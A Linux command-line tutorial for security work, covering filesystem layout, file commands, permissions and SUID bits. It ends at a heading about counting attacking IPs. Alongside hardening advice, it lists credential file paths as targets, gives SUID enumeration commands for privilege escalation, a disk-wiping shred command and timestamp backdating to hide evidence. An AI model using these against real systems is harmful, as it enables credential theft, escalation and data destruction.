Skip to content

Linux Mastery

Table of Contents

Foundation Level

Text Processing and Analysis

Process and System Management

Network Operations

System Administration

Shittie Topics


Why Linux Dominates Security Operations

Linux isn't optional anymore
Every penetration testing framework , every incident response platform , every security tool that matters runs on Linux first because the developers who understand exploitation and defense work exclusively in this environment where system internals are transparent and accessible without proprietary restrictions

The Tooling Ecosystem Lives Here

Metasploit runs without compatibility nightmares
Burp Suite operates natively with full performance. Wireshark captures packets at line rate. Nmap scans complete in milliseconds not minutes. tcpdump filters work exactly as documented because the kernel networking stack is exposed and documented and every security professional who builds tools targets Linux as the primary deployment environment for offensive and defensive operations

Command Line is the Only Real Interface

GUIs hide what you need to see
When you SSH into a compromised server at 3AM during active incident response , you won't find a desktop environment with pretty icons waiting for your mouse clicks. You'll have a terminal prompt and your knowledge of command line operations and if you don't know how to navigate the filesystem , analyze logs , control processes , and manipulate network configurations through text commands you're completely useless in that critical moment

System Transparency and Access

Every configuration is readable text
No registry hives hiding settings in binary blobs. No proprietary databases requiring special tools to parse. Config files live in /etc/ as human-readable text. Process information exposes through /proc/. Kernel parameters adjust via /sys/. This transparency means you understand exactly what the system is doing and how to modify its behavior for your testing or defensive requirements

Zero Cost Complete Control

Deploy Linux everywhere without licensing fees
Build a 500-node penetration testing lab without budget approval for operating system licenses. Modify kernel source code to add custom syscall hooks for malware analysis. Redistribute your customized security distribution without legal concerns. This freedom matters when you're building sophisticated testing infrastructure or conducting large-scale security research that requires programmatic control over operating system

behavior

The Internet Infrastructure Foundation

Web servers run Linux
Database clusters run Linux. Cloud infrastructure runs Linux. Container orchestration runs Linux. Network appliances run Linux. IoT devices run Linux. Android phones run Linux kernel. When you're attacking a web application , you're almost certainly targeting a Linux server and understanding the target operating system gives you insight into default configurations , common misconfigurations , privilege escalation vectors , and persistence mechanisms that actually work in production environments


Understanding the Linux Filesystem Hierarchy

Forget Windows drive letters completely
Linux uses a single unified tree starting from / (root) where everything hangs off this one point including every file , every directory , every device , every process representation because the Unix philosophy treats everything as files accessible through a hierarchical namespace that makes system navigation logical once you understand the standard directory structure

Core Directory Structure

/ (Root Directory) The absolute top of everything
Only root user has write permissions here by default and if an attacker gains write access to / they essentially own your entire system because they can replace critical binaries or modify boot configuration or plant persistent malware at the foundation level where most security tools don't look for threats

/bin (Essential User Binaries) Critical commands required for system recovery
Tools like ls , cp , cat , bash , grep , ps live here because these binaries must be available even when the system boots into single-user mode for emergency maintenance and they need to function before /usr/ is even mounted because system recovery depends on having basic command-line tools accessible in minimal boot environments

/sbin (System Administration Binaries) Root-privileged system tools
Commands like fdisk , ip , iptables , reboot , shutdown , init require root privileges to actually modify system state. Regular users can often execute these binaries but they won't have effective permissions to change network configuration or partition disks or reboot the system without sudo elevation or direct root access

/etc (Configuration Everything) The system brain lives here
Every major service stores configuration as human-readable text files in /etc/ and subdirectories. No binary blobs hiding settings. No proprietary formats requiring special parsers.

Key configuration files:

  • /etc/passwd - User account information (world-readable but shouldn't contain actual passwords since 1990s)
  • /etc/shadow - Real password hashes (root-only read access where the actual authentication secrets live)
  • /etc/group - Group definitions and membership
  • /etc/sudoers - Sudo privilege configuration (misconfigured sudoers equals instant privilege escalation)
  • /etc/ssh/sshd_config - SSH daemon configuration (weak settings here mean compromised remote access)
  • /etc/crontab - System-wide scheduled tasks (persistence goldmine for attackers)
  • /etc/fstab - Filesystem mount configuration
  • /etc/hosts - Static hostname to IP mappings
  • /etc/resolv.conf - DNS resolver configuration
  • /etc/network/interfaces - Network interface configuration (Debian-based)

/home (User Territories) Personal user directories
Each user gets /home/username/ as their writable space and this is the only location where regular users can create files by default which makes home directories critical for security because they often contain SSH private keys , browser credential databases , bash history files , application configuration with API tokens , and other sensitive data that attackers target immediately after initial access

/root (Administrator Home) Root user's home directory
Completely separate from /home/ for security isolation purposes and when you escalate privileges to root this is where you land. Often contains administrative scripts , credentials that admins think are "safe" because they're in root's home , and configuration for root-only tools that might reveal additional attack surface or credential material

/tmp (The Wild West) World-writable temporary storage
Literally anyone can write files here which makes /tmp/ the default staging ground for attackers who need to download tools , compile exploits , or store exfiltrated data temporarily. Many systems clear /tmp/ on reboot but not all and organizations often monitor this directory for suspicious binaries or scripts but it remains essential for post-exploitation operations

/var (Variable Runtime Data) Files that change during operation
This directory tree grows and shrinks as services run and applications execute and log files accumulate

Critical subdirectories:

  • /var/log/ - System logs (the forensic goldmine where authentication , errors , and system events get recorded)
  • /var/www/ - Default web server document root for Apache and Nginx
  • /var/lib/ - Application state and databases
  • /var/spool/ - Print queues , mail queues , cron job output
  • /var/tmp/ - Temporary files that survive reboots (unlike /tmp/)
  • /var/cache/ - Application cache data

Security teams live in /var/log/ when hunting intrusions
Attackers try to clear /var/log/ to hide their tracks or manipulate log files to remove evidence of compromise

/usr (Secondary Hierarchy) Read-only user data and programs
Most of your installed software lives under /usr/ in a hierarchy that mirrors the root filesystem structure

  • /usr/bin/ - Most command-line programs (python , gcc , curl , nmap , john)
  • /usr/sbin/ - Non-essential system administration binaries
  • /usr/local/ - Locally compiled software (separate from package manager)
  • /usr/share/ - Architecture-independent shared data
  • /usr/share/wordlists/ - On Kali this is where rockyou.txt and other password lists live
  • /usr/lib/ - Libraries for binaries in /usr/bin/
  • /usr/include/ - Header files for C programming
  • /usr/src/ - Source code for kernel and other packages

/opt (Optional Software) Third-party applications install here
Commercial tools , custom applications , security tools that want to stay self-contained typically go in /opt/toolname/ to avoid polluting the standard filesystem hierarchy and to make uninstallation clean by simply removing one directory

/boot (Boot Loader Files) Kernel and boot essentials
The files needed to actually start the operating system before the root filesystem is mounted including kernel images , initial ramdisk , GRUB configuration. Attacking /boot/ can brick a system or establish boot-level persistence that survives OS reinstalls because the bootloader executes before any security tools load

/dev (Device Files) Everything is a file in Linux
Even hardware appears as files in /dev/ using block devices and character devices

Important device files:

  • /dev/sda , /dev/nvme0n1 - Storage devices
  • /dev/null - The bit bucket (discards all data written to it)
  • /dev/zero - Infinite stream of null bytes
  • /dev/random , /dev/urandom - Random number generators
  • /dev/tcp/ , /dev/udp/ - Not real files but bash uses these for network connections

/proc (Process Information Virtual Filesystem) Kernel and process data exposed as files
Nothing in /proc/ actually exists on disk because it's all generated by the kernel in real-time as you read the files

Critical /proc/ paths:

  • /proc/cpuinfo - CPU details and capabilities
  • /proc/meminfo - Memory statistics
  • /proc/mounts - Currently mounted filesystems
  • /proc/version - Kernel version (enumeration target)
  • /proc/[pid]/ - Per-process information directories
  • /proc/[pid]/cmdline - Command that started the process
  • /proc/[pid]/environ - Environment variables (credentials often leak here)
  • /proc/[pid]/fd/ - Open file descriptors
  • /proc/[pid]/maps - Memory mappings
  • /proc/[pid]/exe - Symbolic link to executable

/sys (System Device Information) Hardware and kernel module control
Similar to /proc/ but focused on hardware devices and kernel modules rather than processes. Used to control hardware parameters and

kernel module behavior at runtime

/run (Runtime Variable Data) Created fresh every boot
Contains PID files , socket files , and runtime information that processes need to communicate. Systemd uses /run/ heavily for managing service state and storing runtime data that doesn't persist across reboots

/lib and /lib64 (Shared Libraries) Essential shared libraries
Binary libraries needed by programs in /bin/ and /sbin/ to function. The /lib64/ directory exists on 64-bit systems to separate 64-bit libraries from legacy 32-bit libraries

/media and /mnt (Mount Points) Removable media and temporary mounts
Modern systems auto-mount USB drives under /media/username/ while /mnt/ serves as a temporary mount point for administrators manually mounting filesystems during maintenance or testing

/srv (Service Data) Site-specific data for services
Web applications , FTP data , or other service-specific content can live here though many distributions don't use /srv/ preferring /var/www/ for web content instead


Security-Critical Filesystem Paths

When doing privilege escalation enumeration or forensic analysis , these paths are your high-value intelligence targets

Authentication and Authorization

/etc/shadow                      # Password hashes (requires root to read)
/etc/passwd                      # User account database
/etc/group                       # Group definitions
/etc/gshadow                     # Group password hashes
/etc/sudoers                     # Sudo configuration
/etc/sudoers.d/*                 # Additional sudo rules
/etc/security/                   # PAM security configuration

Scheduled Tasks and Persistence

/etc/crontab                     # System cron jobs
/etc/cron.d/*                    # Additional cron jobs
/etc/cron.daily/                 # Daily execution scripts
/etc/cron.hourly/                # Hourly execution scripts
/etc/cron.weekly/                # Weekly execution scripts
/etc/cron.monthly/               # Monthly execution scripts
/var/spool/cron/crontabs/*       # User-specific cron jobs
/etc/systemd/system/             # SystemD service units
/etc/init.d/                     # Legacy init scripts
/etc/rc.local                    # Legacy boot script

SSH Configuration and Keys

/etc/ssh/sshd_config             # SSH daemon configuration
~/.ssh/id_rsa                    # Private SSH key (user)
~/.ssh/id_ed25519                # Modern private SSH key
~/.ssh/authorized_keys           # Authorized public keys
~/.ssh/known_hosts               # Previously connected hosts
~/.ssh/config                    # SSH client configuration
/root/.ssh/                      # Root's SSH directory

System Logs and Forensics

/var/log/auth.log                # Authentication events (Debian/Ubuntu)
/var/log/secure                  # Authentication events (RHEL/CentOS)
/var/log/syslog                  # General system log
/var/log/messages                # General system log (RHEL/CentOS)
/var/log/kern.log                # Kernel messages
/var/log/boot.log                # Boot messages
/var/log/apache2/access.log      # Apache access logs
/var/log/apache2/error.log       # Apache error logs
/var/log/nginx/access.log        # Nginx access logs
/var/log/nginx/error.log         # Nginx error logs
/var/log/mysql/error.log         # MySQL error log
~/.bash_history                  # Command history (all users)
~/.zsh_history                   # Zsh command history

Network Configuration

/etc/network/interfaces          # Network config (Debian)
/etc/sysconfig/network-scripts/  # Network config (RHEL)
/etc/netplan/                    # Network config (Ubuntu 18.04+)
/etc/hosts                       # Static host mappings
/etc/resolv.conf                 # DNS configuration
/etc/hostname                    # System hostname

Process and Runtime Information

/proc/[pid]/cmdline              # Process command line
/proc/[pid]/environ              # Process environment variables
/proc/[pid]/cwd                  # Process current directory
/proc/[pid]/exe                  # Process executable path
/proc/[pid]/fd/                  # Process open file descriptors
/proc/net/tcp                    # Active TCP connections
/proc/net/udp                    # Active UDP connections
/proc/sys/net/                   # Network kernel parameters

Application Credentials and Secrets

~/.aws/credentials               # AWS credentials
~/.aws/config                    # AWS configuration
~/.docker/config.json            # Docker registry credentials
~/.kube/config                   # Kubernetes configuration
~/.config/                       # Application configurations
~/.local/share/                  # Application data
/opt/*/config/                   # Third-party app configs
/var/www/.env                    # Web app environment variables

Terminal Navigation Fundamentals

The terminal is your primary weapon
Master navigation to move through filesystems rapidly during enumeration , incident response , or system administration without wasting time clicking through GUI file managers that slow you down and hide important details about permissions , ownership , and file attributes

pwd (Print Working Directory)

Where am I right now ?

pwd
# Output: /home/ox_1ris/tools/exploits

cd /var/log
pwd
# Output: /var/log

Always know your current location
Run pwd when you're disoriented after multiple directory changes or when scripts change directories unexpectedly and you need to verify the current working directory before executing commands that operate on relative paths

cd (Change Directory)

Move through the filesystem tree

cd /var/log                      # Absolute path from root
cd ../..                         # Relative path (up two levels)
cd ~                             # Jump to home directory
cd -                             # Return to previous directory (super useful)
cd                              # Also goes to home (shorthand)
cd /etc/apache2/sites-enabled    # Deep absolute path
cd ~/Documents/projects/         # Home-relative path

The cd - command is gold
When you're jumping between two directories repeatedly during analysis or configuration , use cd - to toggle back and forth without retyping full paths every single time

ls (List Directory Contents)

See what's around you with precision

ls                               # Basic listing
ls -l                            # Long format (permissions , owner , size , date)
ls -la                           # Include hidden files (starting with .)
ls -lh                           # Human-readable file sizes (KB , MB , GB)
ls -lt                           # Sort by modification time (newest first)
ls -latr                         # All files , long , sorted by time , reversed (oldest first)
ls -lS                           # Sort by file size (largest first)
ls -R                            # Recursive (show subdirectories)
ls -i                            # Show inode numbers
ls -d */                         # List only directories
ls *.txt                         # Wildcard filter
ls -l /etc/*.conf                # List all .conf files in /etc/

That -latr combination is critical
When investigating compromised systems , use ls -latr to see what files changed recently in chronological order from oldest to newest which helps identify when an attacker modified configurations or dropped malicious files

File Globbing Patterns

ls *.log                         # All files ending in .log
ls test*                         # All files starting with test
ls file?.txt                     # Single character wildcard (file1.txt , file2.txt)
ls file[0-9].txt                 # Character range (file0.txt through file9.txt)
ls *.{jpg,png,gif}               # Multiple extensions

File and Directory Operations

File manipulation is constant work
You need to create , copy , move , rename , and delete files hundreds of times per day when configuring systems , analyzing malware samples , or managing penetration testing artifacts

touch (Create Empty Files and Update Timestamps)

Instantly create files or modify timestamps

touch newfile.txt                                    # Create empty file
touch file1.txt file2.txt file3.txt                  # Create multiple
touch /tmp/test                                      # Create in specific location
touch -t 202301011200 evidence.txt                   # Set specific timestamp
touch -a file.txt                                    # Update only access time
touch -m file.txt                                    # Update only modification time
touch -c file.txt                                    # Don't create if doesn't exist

Timestamp manipulation matters
Attackers use touch -t to backdate file timestamps and hide evidence of recent modifications while defenders watch for files with suspicious timestamps during forensic timeline analysis

mkdir (Make Directory)

Create directory structures

mkdir newdir                                         # Single directory
mkdir dir1 dir2 dir3                                 # Multiple directories
mkdir -p path/to/deeply/nested/directory             # Create parent directories
mkdir -m 700 private                                 # Create with specific permissions
mkdir -p ~/tools/{exploits,payloads,loot}            # Create multiple with brace expansion

The -p flag prevents errors
When creating nested directory structures in scripts , use mkdir -p so the command succeeds whether parent directories exist or not instead of failing with "no such file or directory" errors

cp (Copy Files and Directories)

Duplicate files with various options

cp source.txt destination.txt                        # Copy file
cp file.txt /tmp/                                    # Copy to directory
cp -r directory/ /backup/                            # Recursive copy for directories
cp -a /etc/nginx/ /backup/nginx/                     # Archive mode (preserves everything)
cp -p file.txt dest/                                 # Preserve timestamps and permissions
cp -u file.txt dest/                                 # Update only if source is newer
cp -v file.txt dest/                                 # Verbose (show what's being copied)
cp *.txt backup/                                     # Copy all .txt files
cp file.{txt,bak}                                    # Create file.bak from file.txt

Archive mode is critical for backups
Use cp -a when backing up configurations before modifications because it preserves permissions , ownership , timestamps , and symbolic links exactly which prevents permission-related breakage after restoring

mv (Move and Rename)

Move or rename files atomically

mv oldname.txt newname.txt                           # Rename file
mv file.txt /tmp/                                    # Move to directory
mv *.log /var/log/archive/                           # Move multiple files
mv -i important.conf backup/                         # Interactive (prompt before overwrite)
mv -v file.txt dest/                                 # Verbose output
mv -n file.txt dest/                                 # No-clobber (don't overwrite)
mv source/ dest/                                     # Rename directory

Move is atomic on same filesystem
When you mv a file to a new name on the same filesystem partition , it's an atomic operation that just updates directory entries without copying data which makes it instant even for huge files and safe from interruption

rm (Remove Files)

Delete files permanently

rm file.txt                                          # Remove file
rm -r directory/                                     # Remove directory and contents
rm -f locked.txt                                     # Force removal (no confirmation)
rm -i important.txt                                  # Interactive (confirm each deletion)
rm -v file.txt                                       # Verbose
rm -rf /tmp/old_project/                             # Nuclear option (DANGEROUS)
rm *.tmp                                             # Remove all .tmp files
rm -rf ~/.cache/*                                    # Clear cache

There is no undelete
Linux doesn't have a recycle bin by default so rm is permanent deletion and rm -rf can destroy entire directory trees in milliseconds without confirmation which makes it powerful and incredibly dangerous if you mistype the path

shred (Secure File Deletion)

Overwrite file data before deletion

shred -u -z -n 7 sensitive.txt                       # 7 passes , zeros , then delete
shred -u -v credentials.key                          # Verbose secure deletion
shred -n 3 /dev/sdb                                  # Wipe entire disk
shred -vfz file.txt                                  # Verbose , force , zero

Use shred for sensitive data
Normal rm only removes directory entries leaving data intact on disk and recoverable with forensic tools. shred overwrites file contents multiple times before unlinking which securely destroys sensitive data like private keys or credential files

File Wildcards and Expressions

rm test*                                             # Remove all files starting with test
cp *.{txt,md} backup/                                # Copy .txt and .md files
mv project_[0-9].log archive/                        # Move numbered log files
rm -rf temp temp[0-9] temp_*                         # Multiple patterns

Viewing and Manipulating File Content

Reading file contents is constant
You need to examine configuration files , analyze log entries , review source code , inspect malware samples , and verify file contents throughout security operations

cat (Concatenate and Display)

Dump entire file to terminal

cat /etc/passwd                                      # Display file
cat file1.txt file2.txt                              # Display multiple sequentially
cat file1.txt file2.txt > combined.txt               # Concatenate files
cat > newfile.txt                                    # Create file (Ctrl+D to finish)
cat >> file.txt                                      # Append to file
cat -n file.txt                                      # Number all lines
cat -b file.txt                                      # Number non-empty lines
cat -A file.txt                                      # Show all characters (tabs , newlines)

Good for small files only
Using cat on large log files causes thousands of lines to scroll past faster than you can read which is useless for analysis. Use pagers for anything longer than one terminal screen

less (Interactive Pager)

Navigate large files like a professional

less /var/log/syslog                                 # Open file in pager
less +F /var/log/auth.log                            # Follow mode (like tail -f)
less -N file.txt                                     # Show line numbers
less -S file.txt                                    # Chop long lines (no wrap)
less +G file.txt                                     # Start at end of file

Navigation inside less:

  • Space or PgDn - Next page
  • b or PgUp - Previous page
  • /pattern - Search forward for pattern
  • ?pattern - Search backward for pattern
  • n - Next search match
  • N - Previous search match
  • g - Jump to beginning
  • G - Jump to end
  • q - Quit

Use less for all log analysis
The search capability with /pattern makes finding specific error messages or IP addresses instant while the ability to scroll backward lets you examine context around interesting events

more (Simple Pager)

Basic pager (less featureful than less)

more file.txt                                        # Basic paging
more -d file.txt                                     # Display help prompts

Less is more than more
The less command has more features than more despite the ironic naming. Use less for everything unless you're on an ancient system that doesn't have it installed

head (Show Beginning)

Display first lines of files

head file.txt                                        # First 10 lines
head -n 20 access.log                                # First 20 lines
head -c 500 binary                                   # First 500 bytes
head -n -10 file.txt                                 # All except last 10 lines
head -n 5 *.log                                      # First 5 lines of each log file

Perfect for quick file inspection
When you need to verify file format or see headers without opening the entire file in an editor

tail (Show End)

Display last lines of files

tail file.txt                                        # Last 10 lines
tail -n 50 error.log                                 # Last 50 lines
tail -f /var/log/auth.log                            # Follow mode (watch in real-time)
tail -F /var/log/syslog                              # Follow with file rotation handling
tail -n +10 file.txt                                 # Start from line 10 to end
tail -n 100 -f application.log                       # Last 100 lines then follow

The -f flag is essential
During active testing or incident response , use tail -f /var/log/auth.log to watch authentication attempts in real-time as they happen instead of repeatedly running commands to check for new entries

wc (Word Count)

Count lines , words , characters

wc file.txt                                          # Lines , words , bytes
wc -l file.txt                                       # Count lines only
wc -w file.txt                                       # Count words
wc -c file.txt                                       # Count bytes
wc -m file.txt                                       # Count characters
cat /etc/passwd | wc -l                              # Count users

Quick statistics for analysis
Count failed login attempts with grep "Failed" auth.log | wc -l or count unique IPs with sort -u | wc -l

strings (Extract Text from Binary)

Pull readable strings from binary files

strings binary_file                                  # Extract ASCII strings
strings -n 10 malware                                # Minimum 10 characters
strings -e l binary                                  # 16-bit little-endian
strings -a binary | grep -i password                 # Search for keywords

Critical for mal

ware analysis
Running strings on suspicious binaries often reveals hardcoded IP addresses , URLs , credentials , or command strings that indicate malicious functionality

hexdump and xxd (Hex Viewers)

View binary file contents in hexadecimal

hexdump -C file.bin                                  # Canonical hex-dump
xxd file.bin                                         # Hex dump with ASCII
xxd -r dump.txt output.bin                           # Reverse (hex to binary)
hexdump -n 100 -C binary                             # First 100 bytes

Understanding Linux Permissions Model

Linux permissions control everything
Every file and directory has permissions determining who can read , write , or execute and if you mess this up you either lock yourself out of required files or grant attackers access to sensitive system resources they shouldn't reach

Three Permission Classes

Every file has three distinct user classes with separate permissions

  • Owner (u) - The user who owns the file
  • Group (g) - Users in the file's group
  • Others (o) - Everyone else on the system

Three Permission Types

Each class can have three types of access

  • Read (r) - Value 4 - View file contents or list directory entries
  • Write (w) - Value 2 - Modify file contents or create/delete files in directory
  • Execute (x) - Value 1 - Run file as program or enter directory

Reading Permission Strings

When you run ls -l you see permission strings like this

-rwxr-xr-- 1 ox_1ris security 4096 Nov 28 15:00 exploit.sh

Breaking down the permission string:

  • - = File type (- for regular file , d for directory , l for symbolic link , c for character device , b for block device)
  • rwx = Owner has read write execute
  • r-x = Group has read and execute (no write)
  • r-- = Others have read only

Octal Permission Notation

Each permission set converts to an octal digit from 0-7

rwx = 4+2+1 = 7 (full access)
rw- = 4+2+0 = 6 (read write)
r-x = 4+0+1 = 5 (read execute)
r-- = 4+0+0 = 4 (read only)
-wx = 0+2+1 = 3 (write execute)
-w- = 0+2+0 = 2 (write only)
--x = 0+0+1 = 1 (execute only)
--- = 0+0+0 = 0 (no access)

Common Permission Patterns

755  # rwxr-xr-x - Standard for executables (owner full , others read+execute)
644  # rw-r--r-- - Standard for text files (owner write , others read)
600  # rw------- - Private files like SSH keys (owner only)
700  # rwx------ - Private directories (owner only)
400  # r-------- - Read-only by owner (immutable configs)
777  # rwxrwxrwx - World-writable (security nightmare , avoid always)
000  # --------- - No permissions for anyone (system may still allow owner)

Directory Permission Behavior

Directory permissions work differently than files

  • r (read) - List directory contents with ls
  • w (write) - Create or delete files inside directory
  • x (execute) - Enter directory with cd and access files inside

You need execute permission on a directory to access any files inside even if you have read permission on those files


Permission Manipulation with chmod

Change file permissions using numeric or symbolic notation

Numeric (Octal) Method

chmod 755 script.sh                      # rwxr-xr-x (standard executable)
chmod 600 ~/.ssh/id_rsa                  # rw------- (private SSH key)
chmod 644 config.txt                     # rw-r--r-- (readable config)
chmod 700 ~/.ssh                         # rwx------ (SSH directory)
chmod 400 /etc/sensitive.conf            # r-------- (read-only config)
chmod 666 shared.txt                     # rw-rw-rw- (shared file)
chmod 777 /tmp/share                     # rwxrwxrwx (DANGEROUS world writable)

Symbolic Method

chmod u+x script.sh                      # Add execute for owner
chmod g-w file.txt                       # Remove write from group
chmod o+r document.txt                   # Add read for others
chmod a+x program                        # Add execute for all (a = all)
chmod u=rwx,g=rx,o=r file.txt           # Set specific permissions
chmod +x script.sh                       # Add execute to current permissions
chmod -R 755 directory/                  # Recursive (all files in directory)
chmod u+s program                        # Add SUID bit (covered next section)
chmod g+s directory/                     # Add SGID bit
chmod +t /tmp/shared                     # Add sticky bit

Practical Security Examples

# Secure SSH keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/config

# Secure web directory
chmod 755 /var/www/html
chmod 644 /var/www/html/*.html
chmod 644 /var/www/html/*.php

# Lock down sensitive files
chmod 600 ~/.aws/credentials
chmod 600 ~/.kube/config
chmod 400 /etc/shadow

# Make scripts executable
find ~/scripts -name "*.sh" -exec chmod +x {} \;

Recursive Permission Changes

chmod -R 755 /var/www/html               # All files and directories
find /path -type f -exec chmod 644 {} \; # Files only
find /path -type d -exec chmod 755 {} \; # Directories only

Never use chmod -R 777 on anything
This grants full permissions to everyone which creates massive security holes allowing any user to read sensitive data , modify critical files , or execute malicious code


Ownership Management with chown

Change file ownership and group

Basic Syntax

chown user file.txt                      # Change owner only
chown user:group file.txt                # Change owner and group
chown :group file.txt                    # Change group only (same as chgrp)
chown -R user:group directory/           # Recursive
chown --reference=ref.txt target.txt     # Match permissions from another file

Common Ownership Scenarios

# Fix web server ownership
chown -R www-data:www-data /var/www/html

# Change ownership of home directory
chown -R username:username /home/username

# Root ownership for system files
chown root:root /etc/ssh/sshd_config
chown root:root /usr/local/bin/admin_tool

# Application ownership
chown -R mysql:mysql /var/lib/mysql
chown -R postgres:postgres /var/lib/postgresql

Security Implications

Only root can change file ownership
Regular users can change group ownership to groups they belong to but only root can change the owner field which prevents users from giving away files to hide their actions or bypass quotas

Combining with chmod

# Secure configuration file
chown root:root /etc/important.conf
chmod 600 /etc/important.conf

# Web application setup
chown -R www-data:www-data /var/www/app
find /var/www/app -type d -exec chmod 755 {} \;
find /var/www/app -type f -exec chmod 644 {} \;

Special Permission Bits SUID SGID Sticky

Beyond basic read write execute , Linux has three special permission bits that modify execution behavior

SUID (Set User ID) - The Danger Zone

When set on an executable , the program runs with the permissions of the file owner instead of the user who executes it

chmod u+s /usr/bin/program               # Add SUID
chmod 4755 /usr/bin/program              # Octal (4 = SUID bit)
ls -l /usr/bin/passwd                    # Shows -rwsr-xr-x (note the 's')

Real-world SUID examples:

ls -l /usr/bin/passwd                    # -rwsr-xr-x (allows users to change passwords)
ls -l /usr/bin/sudo                      # -rwsr-xr-x (elevate privileges)
ls -l /bin/ping                          # -rwsr-xr-x (send ICMP as root)

Why SUID matters for security
If you find a SUID binary owned by root that has a vulnerability like buffer overflow or command injection , you can exploit it to execute code as root which equals instant privilege escalation to full system control

SGID (Set Group ID)

Behavioral changes depend on file type

On executables:

chmod g+s program                        # Program runs as file's group
chmod 2755 program                       # Octal (2 = SGID bit)

On directories (more common usage):

chmod g+s /shared/project                # New files inherit directory's group
chmod 2775 /shared/team                  # Octal notation

Directory SGID is useful for shared project directories where multiple users need to collaborate and all files should belong to the project group regardless of which user creates them

Sticky Bit

Prevents users from deleting or renaming files they don't own in shared directories

chmod +t /shared/public                  # Add sticky bit
chmod 1777 /tmp                          # Octal (1 = sticky bit)
ls -ld /tmp                              # Shows drwxrwxrwt (note the 't')

The /tmp directory has sticky bit set
This allows all users to create files in /tmp/ (world-writable) but prevents users from deleting other users' files even though they have write permission to the directory itself

Octal Representation with Special Bits

4755  # SUID + rwxr-xr-x
2755  # SGID + rwxr-xr-x
1777  # Sticky + rwxrwxrwx
6755  # SUID + SGID + rwxr-xr-x
7755  # SUID + SGID + Sticky + rwxr-xr-x

Finding SUID Binaries for Privilege Escalation

SUID binaries are primary privilege escalation vectors
Attackers enumerate them immediately after gaining initial access to find vulnerable SUID programs that can escalate to root

Finding All SUID Binaries

find / -perm -4000 -type f 2>/dev/null                       # All SUID files
find / -perm -u=s -type f 2>/dev/null                        # Alternative syntax
find / -user root -perm -4000 -type f 2>/dev/null            # SUID files owned by root
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null    # Detailed listing

Finding SGID Binaries

find / -perm -2000 -type f 2>/dev/null                       # All SGID files
find / -perm -g=s -type f 2>/dev/null                        # Alternative syntax

Finding Both SUID and SGID

find / -perm -6000 -type f 2>/dev/null                       # SUID or SGID
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null  # Either bit set

Filtering Known Safe Binaries

# Find SUID binaries not in standard locations
find / -perm -4000 -type f 2>/dev/null | grep -v "/usr/bin\|/bin\|/usr/sbin"

# Compare against baseline
find / -perm -4000 -type f 2>/dev/null | sort > current_suid.txt
diff baseline_suid.txt current_suid.txt

Exploitable SUID Patterns

Look for SUID binaries that:

  • Execute shell commands without sanitization
  • Allow file writes as root
  • Load libraries from writable directories
  • Have known CVEs (check version)
  • Are custom applications (not standard OS tools)

Common Vulnerable SUID Patterns

# Programs that might spawn shells
find / -perm -4000 -name "*sh*" 2>/dev/null
find / -perm -4000 -name "python*" 2>/dev/null

# Check for world-writable SUID (extremely dangerous)
find / -perm -4002 -type f 2>/dev/null

GTFOBins for SUID Exploitation

Many standard SUID binaries can escalate privileges
Check GTFOBins database for exploitation methods for binaries like:

  • nmap (old versions with interactive mode)
  • vim , vi (can execute shell commands)
  • find (can execute arbitrary commands)
  • cp (can overwrite files as root)
  • less , more (can spawn shells)

Linux supports two types of links that create references to files

Hard Links

A hard link creates another directory entry pointing to the same inode

ln source.txt hardlink.txt                           # Create hard link
ls -li source.txt hardlink.txt                       # Show same inode number

Hard link characteristics - both names point to same physical data , deleting one doesn't affect the other , cannot span filesystems , cannot link to directories , file only deleted when all hard links removed

Symbolic Links (Symlinks)

A symbolic link is a special file containing a path to another file

ln -s /path/to/original.txt link.txt                 # Create symlink
ln -s /usr/local/bin/python3 /usr/bin/python         # Version management
ls -l link.txt                                       # Shows -> target
readlink link.txt                                    # Show symlink target

Symlink characteristics - can span filesystems , can link to directories , breaks if target moved or deleted

Finding Broken Symlinks

find / -xtype l 2>/dev/null                          # Find broken symlinks
find / -type l ! -exec test -e {} \; -print 2>/dev/null

File Attributes and Extended Attributes

Beyond standard permissions , Linux files have additional attributes controlling filesystem behavior

Listing and Setting Attributes

lsattr file.txt                                      # View current attributes
chattr +i important.conf                             # Make immutable
chattr -i important.conf                             # Remove immutable
chattr +a logfile.log                                # Append-only mode
chattr +c data.txt                                   # Enable compression
chattr +s secure.key                                 # Secure deletion

Critical Attributes for Security

Immutable files cannot be modified or deleted even by root until the attribute is removed

chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/sudoers
chattr +i /boot/grub/grub.cfg

Append-only protects logs from manipulation while allowing writes

chattr +a /var/log/auth.log
chattr +a /var/log/syslog

Detecting Malicious Attribute Usage

Attackers set immutable on backdoors to prevent removal

find /tmp -type f -exec lsattr {} \; | grep "\-\-i"
find /var/www -type f -exec lsattr {} \; | grep "\-\-i"
lsattr -R /home | grep "^\-\-\-\-i"

Basic Input Output Redirection

Every Linux process has three standard streams you can redirect

Standard Stream Numbers

  • stdin (0) - Standard input
  • stdout (1) - Standard output
  • stderr (2) - Standard error

Output Redirection Operators

command > file.txt                                   # Overwrite file with stdout
command >> file.txt                                  # Append stdout to file
command 2> error.log                                 # Redirect stderr to file
command > out.log 2>&1                               # Redirect both to same file
command &> combined.log                              # Shorthand for both streams
command > /dev/null 2>&1                             # Discard all output

Input Redirection

command < input.txt                                  # Read from file
command << EOF                                       # Here document
multi
line
input
EOF
command <<< "single line"                            # Here string

Practical Security Examples

nmap 192.168.1.0/24 > scan_results.txt 2>&1
find / -name "*.conf" 2>/dev/null > configs.txt
grep "Failed" /var/log/auth.log >> failed_logins.txt
./exploit.sh > output.log 2> errors.log

Piping Commands Together

Pipes connect stdout of one command to stdin of another creating powerful data processing chains

Basic Piping Syntax

command1 | command2                                  # Single pipe
command1 | command2 | command3                       # Multiple pipes
command1 2>&1 | command2                             # Include stderr in pipe

Essential Pipe Patterns

# Count results
ps aux | wc -l
grep "error" syslog | wc -l

# Page through output
dmesg | less
cat large_file.txt | less

# Filter and process
ps aux | grep apache | awk '{print $2}'
cat /etc/passwd | cut -d: -f1 | sort

# Remove duplicates
history | cut -d' ' -f4- | sort | uniq

Advanced Piping with tee

The tee command writes to both stdout and files simultaneously

command | tee output.txt                             # Save and display
command | tee -a log.txt                             # Append mode
command | tee file1.txt file2.txt                    # Multiple files
ls -la | tee listing.txt | grep "^d"                 # Save and continue processing

Real-World Security Pipelines

# Extract and count attacking IPs
